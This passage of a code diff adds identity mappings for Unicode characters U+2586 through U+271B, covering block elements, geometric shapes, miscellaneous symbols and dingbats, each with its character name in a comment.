+ ["\u2586", "\u2586"], /* LOWER THREE QUARTERS BLOCK (LOWER THREE QUARTER BLOCK) */
+ ["\u2587", "\u2587"], /* LOWER SEVEN EIGHTHS BLOCK */
+ ["\u2588", "\u2588"], /* FULL BLOCK */
+ ["\u2589", "\u2589"], /* LEFT SEVEN EIGHTHS BLOCK */
+ ["\u258A", "\u258A"], /* LEFT THREE QUARTERS BLOCK (LEFT THREE QUARTER BLOCK) */
+ ["\u258B", "\u258B"], /* LEFT FIVE EIGHTHS BLOCK */
+ ["\u258C", "\u258C"], /* LEFT HALF BLOCK */
+ ["\u258D", "\u258D"], /* LEFT THREE EIGHTHS BLOCK */
+ ["\u258E", "\u258E"], /* LEFT ONE QUARTER BLOCK */
+ ["\u258F", "\u258F"], /* LEFT ONE EIGHTH BLOCK */
+ ["\u2590", "\u2590"], /* RIGHT HALF BLOCK */
+ ["\u2591", "\u2591"], /* LIGHT SHADE */
+ ["\u2592", "\u2592"], /* MEDIUM SHADE */
+ ["\u2593", "\u2593"], /* DARK SHADE */
+ ["\u2594", "\u2594"], /* UPPER ONE EIGHTH BLOCK */
+ ["\u2595", "\u2595"], /* RIGHT ONE EIGHTH BLOCK */
+ ["\u2596", "\u2596"], /* QUADRANT LOWER LEFT */
+ ["\u2597", "\u2597"], /* QUADRANT LOWER RIGHT */
+ ["\u2598", "\u2598"], /* QUADRANT UPPER LEFT */
+ ["\u2599", "\u2599"], /* QUADRANT UPPER LEFT AND LOWER LEFT AND LOWER RIGHT */
+ ["\u259A", "\u259A"], /* QUADRANT UPPER LEFT AND LOWER RIGHT */
+ ["\u259B", "\u259B"], /* QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER LEFT */
+ ["\u259C", "\u259C"], /* QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER RIGHT */
+ ["\u259D", "\u259D"], /* QUADRANT UPPER RIGHT */
+ ["\u259E", "\u259E"], /* QUADRANT UPPER RIGHT AND LOWER LEFT */
+ ["\u259F", "\u259F"], /* QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT */
+ ["\u25A0", "\u25A0"], /* BLACK SQUARE */
+ ["\u25A1", "\u25A1"], /* WHITE SQUARE */
+ ["\u25A2", "\u25A2"], /* WHITE SQUARE WITH ROUNDED CORNERS */
+ ["\u25A3", "\u25A3"], /* WHITE SQUARE CONTAINING BLACK SMALL SQUARE */
+ ["\u25A4", "\u25A4"], /* SQUARE WITH HORIZONTAL FILL */
+ ["\u25A5", "\u25A5"], /* SQUARE WITH VERTICAL FILL */
+ ["\u25A6", "\u25A6"], /* SQUARE WITH ORTHOGONAL CROSSHATCH FILL */
+ ["\u25A7", "\u25A7"], /* SQUARE WITH UPPER LEFT TO LOWER RIGHT FILL */
+ ["\u25A8", "\u25A8"], /* SQUARE WITH UPPER RIGHT TO LOWER LEFT FILL */
+ ["\u25A9", "\u25A9"], /* SQUARE WITH DIAGONAL CROSSHATCH FILL */
+ ["\u25AA", "\u25AA"], /* BLACK SMALL SQUARE */
+ ["\u25AB", "\u25AB"], /* WHITE SMALL SQUARE */
+ ["\u25AC", "\u25AC"], /* BLACK RECTANGLE */
+ ["\u25AD", "\u25AD"], /* WHITE RECTANGLE */
+ ["\u25AE", "\u25AE"], /* BLACK VERTICAL RECTANGLE */
+ ["\u25AF", "\u25AF"], /* WHITE VERTICAL RECTANGLE */
+ ["\u25B0", "\u25B0"], /* BLACK PARALLELOGRAM */
+ ["\u25B1", "\u25B1"], /* WHITE PARALLELOGRAM */
+ ["\u25B2", "\u25B2"], /* BLACK UP-POINTING TRIANGLE (BLACK UP POINTING TRIANGLE) */
+ ["\u25B3", "\u25B3"], /* WHITE UP-POINTING TRIANGLE (WHITE UP POINTING TRIANGLE) */
+ ["\u25B4", "\u25B4"], /* BLACK UP-POINTING SMALL TRIANGLE (BLACK UP POINTING SMALL TRIANGLE) */
+ ["\u25B5", "\u25B5"], /* WHITE UP-POINTING SMALL TRIANGLE (WHITE UP POINTING SMALL TRIANGLE) */
+ ["\u25B6", "\u25B6"], /* BLACK RIGHT-POINTING TRIANGLE (BLACK RIGHT POINTING TRIANGLE) */
+ ["\u25B7", "\u25B7"], /* WHITE RIGHT-POINTING TRIANGLE (WHITE RIGHT POINTING TRIANGLE) */
+ ["\u25B8", "\u25B8"], /* BLACK RIGHT-POINTING SMALL TRIANGLE (BLACK RIGHT POINTING SMALL TRIANGLE) */
+ ["\u25B9", "\u25B9"], /* WHITE RIGHT-POINTING SMALL TRIANGLE (WHITE RIGHT POINTING SMALL TRIANGLE) */
+ ["\u25BA", "\u25BA"], /* BLACK RIGHT-POINTING POINTER (BLACK RIGHT POINTING POINTER) */
+ ["\u25BB", "\u25BB"], /* WHITE RIGHT-POINTING POINTER (WHITE RIGHT POINTING POINTER) */
+ ["\u25BC", "\u25BC"], /* BLACK DOWN-POINTING TRIANGLE (BLACK DOWN POINTING TRIANGLE) */
+ ["\u25BD", "\u25BD"], /* WHITE DOWN-POINTING TRIANGLE (WHITE DOWN POINTING TRIANGLE) */
+ ["\u25BE", "\u25BE"], /* BLACK DOWN-POINTING SMALL TRIANGLE (BLACK DOWN POINTING SMALL TRIANGLE) */
+ ["\u25BF", "\u25BF"], /* WHITE DOWN-POINTING SMALL TRIANGLE (WHITE DOWN POINTING SMALL TRIANGLE) */
+ ["\u25C0", "\u25C0"], /* BLACK LEFT-POINTING TRIANGLE (BLACK LEFT POINTING TRIANGLE) */
+ ["\u25C1", "\u25C1"], /* WHITE LEFT-POINTING TRIANGLE (WHITE LEFT POINTING TRIANGLE) */
+ ["\u25C2", "\u25C2"], /* BLACK LEFT-POINTING SMALL TRIANGLE (BLACK LEFT POINTING SMALL TRIANGLE) */
+ ["\u25C3", "\u25C3"], /* WHITE LEFT-POINTING SMALL TRIANGLE (WHITE LEFT POINTING SMALL TRIANGLE) */
+ ["\u25C4", "\u25C4"], /* BLACK LEFT-POINTING POINTER (BLACK LEFT POINTING POINTER) */
+ ["\u25C5", "\u25C5"], /* WHITE LEFT-POINTING POINTER (WHITE LEFT POINTING POINTER) */
+ ["\u25C6", "\u25C6"], /* BLACK DIAMOND */
+ ["\u25C7", "\u25C7"], /* WHITE DIAMOND */
+ ["\u25C8", "\u25C8"], /* WHITE DIAMOND CONTAINING BLACK SMALL DIAMOND */
+ ["\u25C9", "\u25C9"], /* FISHEYE */
+ ["\u25CA", "\u25CA"], /* LOZENGE */
+ ["\u25CB", "\u25CB"], /* WHITE CIRCLE */
+ ["\u25CC", "\u25CC"], /* DOTTED CIRCLE */
+ ["\u25CD", "\u25CD"], /* CIRCLE WITH VERTICAL FILL */
+ ["\u25CE", "\u25CE"], /* BULLSEYE */
+ ["\u25CF", "\u25CF"], /* BLACK CIRCLE */
+ ["\u25D0", "\u25D0"], /* CIRCLE WITH LEFT HALF BLACK */
+ ["\u25D1", "\u25D1"], /* CIRCLE WITH RIGHT HALF BLACK */
+ ["\u25D2", "\u25D2"], /* CIRCLE WITH LOWER HALF BLACK */
+ ["\u25D3", "\u25D3"], /* CIRCLE WITH UPPER HALF BLACK */
+ ["\u25D4", "\u25D4"], /* CIRCLE WITH UPPER RIGHT QUADRANT BLACK */
+ ["\u25D5", "\u25D5"], /* CIRCLE WITH ALL BUT UPPER LEFT QUADRANT BLACK */
+ ["\u25D6", "\u25D6"], /* LEFT HALF BLACK CIRCLE */
+ ["\u25D7", "\u25D7"], /* RIGHT HALF BLACK CIRCLE */
+ ["\u25D8", "\u25D8"], /* INVERSE BULLET */
+ ["\u25D9", "\u25D9"], /* INVERSE WHITE CIRCLE */
+ ["\u25DA", "\u25DA"], /* UPPER HALF INVERSE WHITE CIRCLE */
+ ["\u25DB", "\u25DB"], /* LOWER HALF INVERSE WHITE CIRCLE */
+ ["\u25DC", "\u25DC"], /* UPPER LEFT QUADRANT CIRCULAR ARC */
+ ["\u25DD", "\u25DD"], /* UPPER RIGHT QUADRANT CIRCULAR ARC */
+ ["\u25DE", "\u25DE"], /* LOWER RIGHT QUADRANT CIRCULAR ARC */
+ ["\u25DF", "\u25DF"], /* LOWER LEFT QUADRANT CIRCULAR ARC */
+ ["\u25E0", "\u25E0"], /* UPPER HALF CIRCLE */
+ ["\u25E1", "\u25E1"], /* LOWER HALF CIRCLE */
+ ["\u25E2", "\u25E2"], /* BLACK LOWER RIGHT TRIANGLE */
+ ["\u25E3", "\u25E3"], /* BLACK LOWER LEFT TRIANGLE */
+ ["\u25E4", "\u25E4"], /* BLACK UPPER LEFT TRIANGLE */
+ ["\u25E5", "\u25E5"], /* BLACK UPPER RIGHT TRIANGLE */
+ ["\u25E6", "\u25E6"], /* WHITE BULLET */
+ ["\u25E7", "\u25E7"], /* SQUARE WITH LEFT HALF BLACK */
+ ["\u25E8", "\u25E8"], /* SQUARE WITH RIGHT HALF BLACK */
+ ["\u25E9", "\u25E9"], /* SQUARE WITH UPPER LEFT DIAGONAL HALF BLACK */
+ ["\u25EA", "\u25EA"], /* SQUARE WITH LOWER RIGHT DIAGONAL HALF BLACK */
+ ["\u25EB", "\u25EB"], /* WHITE SQUARE WITH VERTICAL BISECTING LINE */
+ ["\u25EC", "\u25EC"], /* WHITE UP-POINTING TRIANGLE WITH DOT (WHITE UP POINTING TRIANGLE WITH DOT) */
+ ["\u25ED", "\u25ED"], /* UP-POINTING TRIANGLE WITH LEFT HALF BLACK (UP POINTING TRIANGLE WITH LEFT HALF BLACK) */
+ ["\u25EE", "\u25EE"], /* UP-POINTING TRIANGLE WITH RIGHT HALF BLACK (UP POINTING TRIANGLE WITH RIGHT HALF BLACK) */
+ ["\u25EF", "\u25EF"], /* LARGE CIRCLE */
+ ["\u25F0", "\u25F0"], /* WHITE SQUARE WITH UPPER LEFT QUADRANT */
+ ["\u25F1", "\u25F1"], /* WHITE SQUARE WITH LOWER LEFT QUADRANT */
+ ["\u25F2", "\u25F2"], /* WHITE SQUARE WITH LOWER RIGHT QUADRANT */
+ ["\u25F3", "\u25F3"], /* WHITE SQUARE WITH UPPER RIGHT QUADRANT */
+ ["\u25F4", "\u25F4"], /* WHITE CIRCLE WITH UPPER LEFT QUADRANT */
+ ["\u25F5", "\u25F5"], /* WHITE CIRCLE WITH LOWER LEFT QUADRANT */
+ ["\u25F6", "\u25F6"], /* WHITE CIRCLE WITH LOWER RIGHT QUADRANT */
+ ["\u25F7", "\u25F7"], /* WHITE CIRCLE WITH UPPER RIGHT QUADRANT */
+ ["\u25F8", "\u25F8"], /* UPPER LEFT TRIANGLE */
+ ["\u25F9", "\u25F9"], /* UPPER RIGHT TRIANGLE */
+ ["\u25FA", "\u25FA"], /* LOWER LEFT TRIANGLE */
+ ["\u25FB", "\u25FB"], /* WHITE MEDIUM SQUARE */
+ ["\u25FC", "\u25FC"], /* BLACK MEDIUM SQUARE */
+ ["\u25FD", "\u25FD"], /* WHITE MEDIUM SMALL SQUARE */
+ ["\u25FE", "\u25FE"], /* BLACK MEDIUM SMALL SQUARE */
+ ["\u25FF", "\u25FF"], /* LOWER RIGHT TRIANGLE */
+ ["\u2600", "\u2600"], /* BLACK SUN WITH RAYS */
+ ["\u2601", "\u2601"], /* CLOUD */
+ ["\u2602", "\u2602"], /* UMBRELLA */
+ ["\u2603", "\u2603"], /* SNOWMAN */
+ ["\u2604", "\u2604"], /* COMET */
+ ["\u2605", "\u2605"], /* BLACK STAR */
+ ["\u2606", "\u2606"], /* WHITE STAR */
+ ["\u2607", "\u2607"], /* LIGHTNING */
+ ["\u2608", "\u2608"], /* THUNDERSTORM */
+ ["\u2609", "\u2609"], /* SUN */
+ ["\u260A", "\u260A"], /* ASCENDING NODE */
+ ["\u260B", "\u260B"], /* DESCENDING NODE */
+ ["\u260C", "\u260C"], /* CONJUNCTION */
+ ["\u260D", "\u260D"], /* OPPOSITION */
+ ["\u260E", "\u260E"], /* BLACK TELEPHONE */
+ ["\u260F", "\u260F"], /* WHITE TELEPHONE */
+ ["\u2610", "\u2610"], /* BALLOT BOX */
+ ["\u2611", "\u2611"], /* BALLOT BOX WITH CHECK */
+ ["\u2612", "\u2612"], /* BALLOT BOX WITH X */
+ ["\u2613", "\u2613"], /* SALTIRE */
+ ["\u2614", "\u2614"], /* UMBRELLA WITH RAIN DROPS */
+ ["\u2615", "\u2615"], /* HOT BEVERAGE */
+ ["\u2616", "\u2616"], /* WHITE SHOGI PIECE */
+ ["\u2617", "\u2617"], /* BLACK SHOGI PIECE */
+ ["\u2618", "\u2618"], /* SHAMROCK */
+ ["\u2619", "\u2619"], /* REVERSED ROTATED FLORAL HEART BULLET */
+ ["\u261A", "\u261A"], /* BLACK LEFT POINTING INDEX */
+ ["\u261B", "\u261B"], /* BLACK RIGHT POINTING INDEX */
+ ["\u261C", "\u261C"], /* WHITE LEFT POINTING INDEX */
+ ["\u261D", "\u261D"], /* WHITE UP POINTING INDEX */
+ ["\u261E", "\u261E"], /* WHITE RIGHT POINTING INDEX */
+ ["\u261F", "\u261F"], /* WHITE DOWN POINTING INDEX */
+ ["\u2620", "\u2620"], /* SKULL AND CROSSBONES */
+ ["\u2621", "\u2621"], /* CAUTION SIGN */
+ ["\u2622", "\u2622"], /* RADIOACTIVE SIGN */
+ ["\u2623", "\u2623"], /* BIOHAZARD SIGN */
+ ["\u2624", "\u2624"], /* CADUCEUS */
+ ["\u2625", "\u2625"], /* ANKH */
+ ["\u2626", "\u2626"], /* ORTHODOX CROSS */
+ ["\u2627", "\u2627"], /* CHI RHO */
+ ["\u2628", "\u2628"], /* CROSS OF LORRAINE */
+ ["\u2629", "\u2629"], /* CROSS OF JERUSALEM */
+ ["\u262A", "\u262A"], /* STAR AND CRESCENT */
+ ["\u262B", "\u262B"], /* FARSI SYMBOL (SYMBOL OF IRAN) */
+ ["\u262C", "\u262C"], /* ADI SHAKTI */
+ ["\u262D", "\u262D"], /* HAMMER AND SICKLE */
+ ["\u262E", "\u262E"], /* PEACE SYMBOL */
+ ["\u262F", "\u262F"], /* YIN YANG */
+ ["\u2630", "\u2630"], /* TRIGRAM FOR HEAVEN */
+ ["\u2631", "\u2631"], /* TRIGRAM FOR LAKE */
+ ["\u2632", "\u2632"], /* TRIGRAM FOR FIRE */
+ ["\u2633", "\u2633"], /* TRIGRAM FOR THUNDER */
+ ["\u2634", "\u2634"], /* TRIGRAM FOR WIND */
+ ["\u2635", "\u2635"], /* TRIGRAM FOR WATER */
+ ["\u2636", "\u2636"], /* TRIGRAM FOR MOUNTAIN */
+ ["\u2637", "\u2637"], /* TRIGRAM FOR EARTH */
+ ["\u2638", "\u2638"], /* WHEEL OF DHARMA */
+ ["\u2639", "\u2639"], /* WHITE FROWNING FACE */
+ ["\u263A", "\u263A"], /* WHITE SMILING FACE */
+ ["\u263B", "\u263B"], /* BLACK SMILING FACE */
+ ["\u263C", "\u263C"], /* WHITE SUN WITH RAYS */
+ ["\u263D", "\u263D"], /* FIRST QUARTER MOON */
+ ["\u263E", "\u263E"], /* LAST QUARTER MOON */
+ ["\u263F", "\u263F"], /* MERCURY */
+ ["\u2640", "\u2640"], /* FEMALE SIGN */
+ ["\u2641", "\u2641"], /* EARTH */
+ ["\u2642", "\u2642"], /* MALE SIGN */
+ ["\u2643", "\u2643"], /* JUPITER */
+ ["\u2644", "\u2644"], /* SATURN */
+ ["\u2645", "\u2645"], /* URANUS */
+ ["\u2646", "\u2646"], /* NEPTUNE */
+ ["\u2647", "\u2647"], /* PLUTO */
+ ["\u2648", "\u2648"], /* ARIES */
+ ["\u2649", "\u2649"], /* TAURUS */
+ ["\u264A", "\u264A"], /* GEMINI */
+ ["\u264B", "\u264B"], /* CANCER */
+ ["\u264C", "\u264C"], /* LEO */
+ ["\u264D", "\u264D"], /* VIRGO */
+ ["\u264E", "\u264E"], /* LIBRA */
+ ["\u264F", "\u264F"], /* SCORPIUS */
+ ["\u2650", "\u2650"], /* SAGITTARIUS */
+ ["\u2651", "\u2651"], /* CAPRICORN */
+ ["\u2652", "\u2652"], /* AQUARIUS */
+ ["\u2653", "\u2653"], /* PISCES */
+ ["\u2654", "\u2654"], /* WHITE CHESS KING */
+ ["\u2655", "\u2655"], /* WHITE CHESS QUEEN */
+ ["\u2656", "\u2656"], /* WHITE CHESS ROOK */
+ ["\u2657", "\u2657"], /* WHITE CHESS BISHOP */
+ ["\u2658", "\u2658"], /* WHITE CHESS KNIGHT */
+ ["\u2659", "\u2659"], /* WHITE CHESS PAWN */
+ ["\u265A", "\u265A"], /* BLACK CHESS KING */
+ ["\u265B", "\u265B"], /* BLACK CHESS QUEEN */
+ ["\u265C", "\u265C"], /* BLACK CHESS ROOK */
+ ["\u265D", "\u265D"], /* BLACK CHESS BISHOP */
+ ["\u265E", "\u265E"], /* BLACK CHESS KNIGHT */
+ ["\u265F", "\u265F"], /* BLACK CHESS PAWN */
+ ["\u2660", "\u2660"], /* BLACK SPADE SUIT */
+ ["\u2661", "\u2661"], /* WHITE HEART SUIT */
+ ["\u2662", "\u2662"], /* WHITE DIAMOND SUIT */
+ ["\u2663", "\u2663"], /* BLACK CLUB SUIT */
+ ["\u2664", "\u2664"], /* WHITE SPADE SUIT */
+ ["\u2665", "\u2665"], /* BLACK HEART SUIT */
+ ["\u2666", "\u2666"], /* BLACK DIAMOND SUIT */
+ ["\u2667", "\u2667"], /* WHITE CLUB SUIT */
+ ["\u2668", "\u2668"], /* HOT SPRINGS */
+ ["\u2669", "\u2669"], /* QUARTER NOTE */
+ ["\u266A", "\u266A"], /* EIGHTH NOTE */
+ ["\u266B", "\u266B"], /* BEAMED EIGHTH NOTES (BARRED EIGHTH NOTES) */
+ ["\u266C", "\u266C"], /* BEAMED SIXTEENTH NOTES (BARRED SIXTEENTH NOTES) */
+ ["\u266D", "\u266D"], /* MUSIC FLAT SIGN (FLAT) */
+ ["\u266E", "\u266E"], /* MUSIC NATURAL SIGN (NATURAL) */
+ ["\u266F", "\u266F"], /* MUSIC SHARP SIGN (SHARP) */
+ ["\u2670", "\u2670"], /* WEST SYRIAC CROSS */
+ ["\u2671", "\u2671"], /* EAST SYRIAC CROSS */
+ ["\u2672", "\u2672"], /* UNIVERSAL RECYCLING SYMBOL */
+ ["\u2673", "\u2673"], /* RECYCLING SYMBOL FOR TYPE-1 PLASTICS */
+ ["\u2674", "\u2674"], /* RECYCLING SYMBOL FOR TYPE-2 PLASTICS */
+ ["\u2675", "\u2675"], /* RECYCLING SYMBOL FOR TYPE-3 PLASTICS */
+ ["\u2676", "\u2676"], /* RECYCLING SYMBOL FOR TYPE-4 PLASTICS */
+ ["\u2677", "\u2677"], /* RECYCLING SYMBOL FOR TYPE-5 PLASTICS */
+ ["\u2678", "\u2678"], /* RECYCLING SYMBOL FOR TYPE-6 PLASTICS */
+ ["\u2679", "\u2679"], /* RECYCLING SYMBOL FOR TYPE-7 PLASTICS */
+ ["\u267A", "\u267A"], /* RECYCLING SYMBOL FOR GENERIC MATERIALS */
+ ["\u267B", "\u267B"], /* BLACK UNIVERSAL RECYCLING SYMBOL */
+ ["\u267C", "\u267C"], /* RECYCLED PAPER SYMBOL */
+ ["\u267D", "\u267D"], /* PARTIALLY-RECYCLED PAPER SYMBOL */
+ ["\u267E", "\u267E"], /* PERMANENT PAPER SIGN */
+ ["\u267F", "\u267F"], /* WHEELCHAIR SYMBOL */
+ ["\u2680", "\u2680"], /* DIE FACE-1 */
+ ["\u2681", "\u2681"], /* DIE FACE-2 */
+ ["\u2682", "\u2682"], /* DIE FACE-3 */
+ ["\u2683", "\u2683"], /* DIE FACE-4 */
+ ["\u2684", "\u2684"], /* DIE FACE-5 */
+ ["\u2685", "\u2685"], /* DIE FACE-6 */
+ ["\u2686", "\u2686"], /* WHITE CIRCLE WITH DOT RIGHT */
+ ["\u2687", "\u2687"], /* WHITE CIRCLE WITH TWO DOTS */
+ ["\u2688", "\u2688"], /* BLACK CIRCLE WITH WHITE DOT RIGHT */
+ ["\u2689", "\u2689"], /* BLACK CIRCLE WITH TWO WHITE DOTS */
+ ["\u268A", "\u268A"], /* MONOGRAM FOR YANG */
+ ["\u268B", "\u268B"], /* MONOGRAM FOR YIN */
+ ["\u268C", "\u268C"], /* DIGRAM FOR GREATER YANG */
+ ["\u268D", "\u268D"], /* DIGRAM FOR LESSER YIN */
+ ["\u268E", "\u268E"], /* DIGRAM FOR LESSER YANG */
+ ["\u268F", "\u268F"], /* DIGRAM FOR GREATER YIN */
+ ["\u2690", "\u2690"], /* WHITE FLAG */
+ ["\u2691", "\u2691"], /* BLACK FLAG */
+ ["\u2692", "\u2692"], /* HAMMER AND PICK */
+ ["\u2693", "\u2693"], /* ANCHOR */
+ ["\u2694", "\u2694"], /* CROSSED SWORDS */
+ ["\u2695", "\u2695"], /* STAFF OF AESCULAPIUS */
+ ["\u2696", "\u2696"], /* SCALES */
+ ["\u2697", "\u2697"], /* ALEMBIC */
+ ["\u2698", "\u2698"], /* FLOWER */
+ ["\u2699", "\u2699"], /* GEAR */
+ ["\u269A", "\u269A"], /* STAFF OF HERMES */
+ ["\u269B", "\u269B"], /* ATOM SYMBOL */
+ ["\u269C", "\u269C"], /* FLEUR-DE-LIS */
+ ["\u269D", "\u269D"], /* OUTLINED WHITE STAR */
+ ["\u269E", "\u269E"], /* THREE LINES CONVERGING RIGHT */
+ ["\u269F", "\u269F"], /* THREE LINES CONVERGING LEFT */
+ ["\u26A0", "\u26A0"], /* WARNING SIGN */
+ ["\u26A1", "\u26A1"], /* HIGH VOLTAGE SIGN */
+ ["\u26A2", "\u26A2"], /* DOUBLED FEMALE SIGN */
+ ["\u26A3", "\u26A3"], /* DOUBLED MALE SIGN */
+ ["\u26A4", "\u26A4"], /* INTERLOCKED FEMALE AND MALE SIGN */
+ ["\u26A5", "\u26A5"], /* MALE AND FEMALE SIGN */
+ ["\u26A6", "\u26A6"], /* MALE WITH STROKE SIGN */
+ ["\u26A7", "\u26A7"], /* MALE WITH STROKE AND MALE AND FEMALE SIGN */
+ ["\u26A8", "\u26A8"], /* VERTICAL MALE WITH STROKE SIGN */
+ ["\u26A9", "\u26A9"], /* HORIZONTAL MALE WITH STROKE SIGN */
+ ["\u26AA", "\u26AA"], /* MEDIUM WHITE CIRCLE */
+ ["\u26AB", "\u26AB"], /* MEDIUM BLACK CIRCLE */
+ ["\u26AC", "\u26AC"], /* MEDIUM SMALL WHITE CIRCLE */
+ ["\u26AD", "\u26AD"], /* MARRIAGE SYMBOL */
+ ["\u26AE", "\u26AE"], /* DIVORCE SYMBOL */
+ ["\u26AF", "\u26AF"], /* UNMARRIED PARTNERSHIP SYMBOL */
+ ["\u26B0", "\u26B0"], /* COFFIN */
+ ["\u26B1", "\u26B1"], /* FUNERAL URN */
+ ["\u26B2", "\u26B2"], /* NEUTER */
+ ["\u26B3", "\u26B3"], /* CERES */
+ ["\u26B4", "\u26B4"], /* PALLAS */
+ ["\u26B5", "\u26B5"], /* JUNO */
+ ["\u26B6", "\u26B6"], /* VESTA */
+ ["\u26B7", "\u26B7"], /* CHIRON */
+ ["\u26B8", "\u26B8"], /* BLACK MOON LILITH */
+ ["\u26B9", "\u26B9"], /* SEXTILE */
+ ["\u26BA", "\u26BA"], /* SEMISEXTILE */
+ ["\u26BB", "\u26BB"], /* QUINCUNX */
+ ["\u26BC", "\u26BC"], /* SESQUIQUADRATE */
+ ["\u26BD", "\u26BD"], /* SOCCER BALL */
+ ["\u26BE", "\u26BE"], /* BASEBALL */
+ ["\u26BF", "\u26BF"], /* SQUARED KEY */
+ ["\u26C0", "\u26C0"], /* WHITE DRAUGHTS MAN */
+ ["\u26C1", "\u26C1"], /* WHITE DRAUGHTS KING */
+ ["\u26C2", "\u26C2"], /* BLACK DRAUGHTS MAN */
+ ["\u26C3", "\u26C3"], /* BLACK DRAUGHTS KING */
+ ["\u26C4", "\u26C4"], /* SNOWMAN WITHOUT SNOW */
+ ["\u26C5", "\u26C5"], /* SUN BEHIND CLOUD */
+ ["\u26C6", "\u26C6"], /* RAIN */
+ ["\u26C7", "\u26C7"], /* BLACK SNOWMAN */
+ ["\u26C8", "\u26C8"], /* THUNDER CLOUD AND RAIN */
+ ["\u26C9", "\u26C9"], /* TURNED WHITE SHOGI PIECE */
+ ["\u26CA", "\u26CA"], /* TURNED BLACK SHOGI PIECE */
+ ["\u26CB", "\u26CB"], /* WHITE DIAMOND IN SQUARE */
+ ["\u26CC", "\u26CC"], /* CROSSING LANES */
+ ["\u26CD", "\u26CD"], /* DISABLED CAR */
+ ["\u26CE", "\u26CE"], /* OPHIUCHUS */
+ ["\u26CF", "\u26CF"], /* PICK */
+ ["\u26D0", "\u26D0"], /* CAR SLIDING */
+ ["\u26D1", "\u26D1"], /* HELMET WITH WHITE CROSS */
+ ["\u26D2", "\u26D2"], /* CIRCLED CROSSING LANES */
+ ["\u26D3", "\u26D3"], /* CHAINS */
+ ["\u26D4", "\u26D4"], /* NO ENTRY */
+ ["\u26D5", "\u26D5"], /* ALTERNATE ONE-WAY LEFT WAY TRAFFIC */
+ ["\u26D6", "\u26D6"], /* BLACK TWO-WAY LEFT WAY TRAFFIC */
+ ["\u26D7", "\u26D7"], /* WHITE TWO-WAY LEFT WAY TRAFFIC */
+ ["\u26D8", "\u26D8"], /* BLACK LEFT LANE MERGE */
+ ["\u26D9", "\u26D9"], /* WHITE LEFT LANE MERGE */
+ ["\u26DA", "\u26DA"], /* DRIVE SLOW SIGN */
+ ["\u26DB", "\u26DB"], /* HEAVY WHITE DOWN-POINTING TRIANGLE */
+ ["\u26DC", "\u26DC"], /* LEFT CLOSED ENTRY */
+ ["\u26DD", "\u26DD"], /* SQUARED SALTIRE */
+ ["\u26DE", "\u26DE"], /* FALLING DIAGONAL IN WHITE CIRCLE IN BLACK SQUARE */
+ ["\u26DF", "\u26DF"], /* BLACK TRUCK */
+ ["\u26E0", "\u26E0"], /* RESTRICTED LEFT ENTRY-1 */
+ ["\u26E1", "\u26E1"], /* RESTRICTED LEFT ENTRY-2 */
+ ["\u26E2", "\u26E2"], /* ASTRONOMICAL SYMBOL FOR URANUS */
+ ["\u26E3", "\u26E3"], /* HEAVY CIRCLE WITH STROKE AND TWO DOTS ABOVE */
+ ["\u26E4", "\u26E4"], /* PENTAGRAM */
+ ["\u26E5", "\u26E5"], /* RIGHT-HANDED INTERLACED PENTAGRAM */
+ ["\u26E6", "\u26E6"], /* LEFT-HANDED INTERLACED PENTAGRAM */
+ ["\u26E7", "\u26E7"], /* INVERTED PENTAGRAM */
+ ["\u26E8", "\u26E8"], /* BLACK CROSS ON SHIELD */
+ ["\u26E9", "\u26E9"], /* SHINTO SHRINE */
+ ["\u26EA", "\u26EA"], /* CHURCH */
+ ["\u26EB", "\u26EB"], /* CASTLE */
+ ["\u26EC", "\u26EC"], /* HISTORIC SITE */
+ ["\u26ED", "\u26ED"], /* GEAR WITHOUT HUB */
+ ["\u26EE", "\u26EE"], /* GEAR WITH HANDLES */
+ ["\u26EF", "\u26EF"], /* MAP SYMBOL FOR LIGHTHOUSE */
+ ["\u26F0", "\u26F0"], /* MOUNTAIN */
+ ["\u26F1", "\u26F1"], /* UMBRELLA ON GROUND */
+ ["\u26F2", "\u26F2"], /* FOUNTAIN */
+ ["\u26F3", "\u26F3"], /* FLAG IN HOLE */
+ ["\u26F4", "\u26F4"], /* FERRY */
+ ["\u26F5", "\u26F5"], /* SAILBOAT */
+ ["\u26F6", "\u26F6"], /* SQUARE FOUR CORNERS */
+ ["\u26F7", "\u26F7"], /* SKIER */
+ ["\u26F8", "\u26F8"], /* ICE SKATE */
+ ["\u26F9", "\u26F9"], /* PERSON WITH BALL */
+ ["\u26FA", "\u26FA"], /* TENT */
+ ["\u26FB", "\u26FB"], /* JAPANESE BANK SYMBOL */
+ ["\u26FC", "\u26FC"], /* HEADSTONE GRAVEYARD SYMBOL */
+ ["\u26FD", "\u26FD"], /* FUEL PUMP */
+ ["\u26FE", "\u26FE"], /* CUP ON BLACK SQUARE */
+ ["\u26FF", "\u26FF"], /* WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE */
+ ["\u2700", "\u2700"], /* BLACK SAFETY SCISSORS */
+ ["\u2701", "\u2701"], /* UPPER BLADE SCISSORS */
+ ["\u2702", "\u2702"], /* BLACK SCISSORS */
+ ["\u2703", "\u2703"], /* LOWER BLADE SCISSORS */
+ ["\u2704", "\u2704"], /* WHITE SCISSORS */
+ ["\u2705", "\u2705"], /* WHITE HEAVY CHECK MARK */
+ ["\u2706", "\u2706"], /* TELEPHONE LOCATION SIGN */
+ ["\u2707", "\u2707"], /* TAPE DRIVE */
+ ["\u2708", "\u2708"], /* AIRPLANE */
+ ["\u2709", "\u2709"], /* ENVELOPE */
+ ["\u270A", "\u270A"], /* RAISED FIST */
+ ["\u270B", "\u270B"], /* RAISED HAND */
+ ["\u270C", "\u270C"], /* VICTORY HAND */
+ ["\u270D", "\u270D"], /* WRITING HAND */
+ ["\u270E", "\u270E"], /* LOWER RIGHT PENCIL */
+ ["\u270F", "\u270F"], /* PENCIL */
+ ["\u2710", "\u2710"], /* UPPER RIGHT PENCIL */
+ ["\u2711", "\u2711"], /* WHITE NIB */
+ ["\u2712", "\u2712"], /* BLACK NIB */
+ ["\u2713", "\u2713"], /* CHECK MARK */
+ ["\u2714", "\u2714"], /* HEAVY CHECK MARK */
+ ["\u2715", "\u2715"], /* MULTIPLICATION X */
+ ["\u2716", "\u2716"], /* HEAVY MULTIPLICATION X */
+ ["\u2717", "\u2717"], /* BALLOT X */
+ ["\u2718", "\u2718"], /* HEAVY BALLOT X */
+ ["\u2719", "\u2719"], /* OUTLINED GREEK CROSS */
+ ["\u271A", "\u271A"], /* HEAVY GREEK CROSS */
+ ["\u271B", "\u271B"], /* OPEN CENTRE CROSS (OPEN CENTER CROSS) */
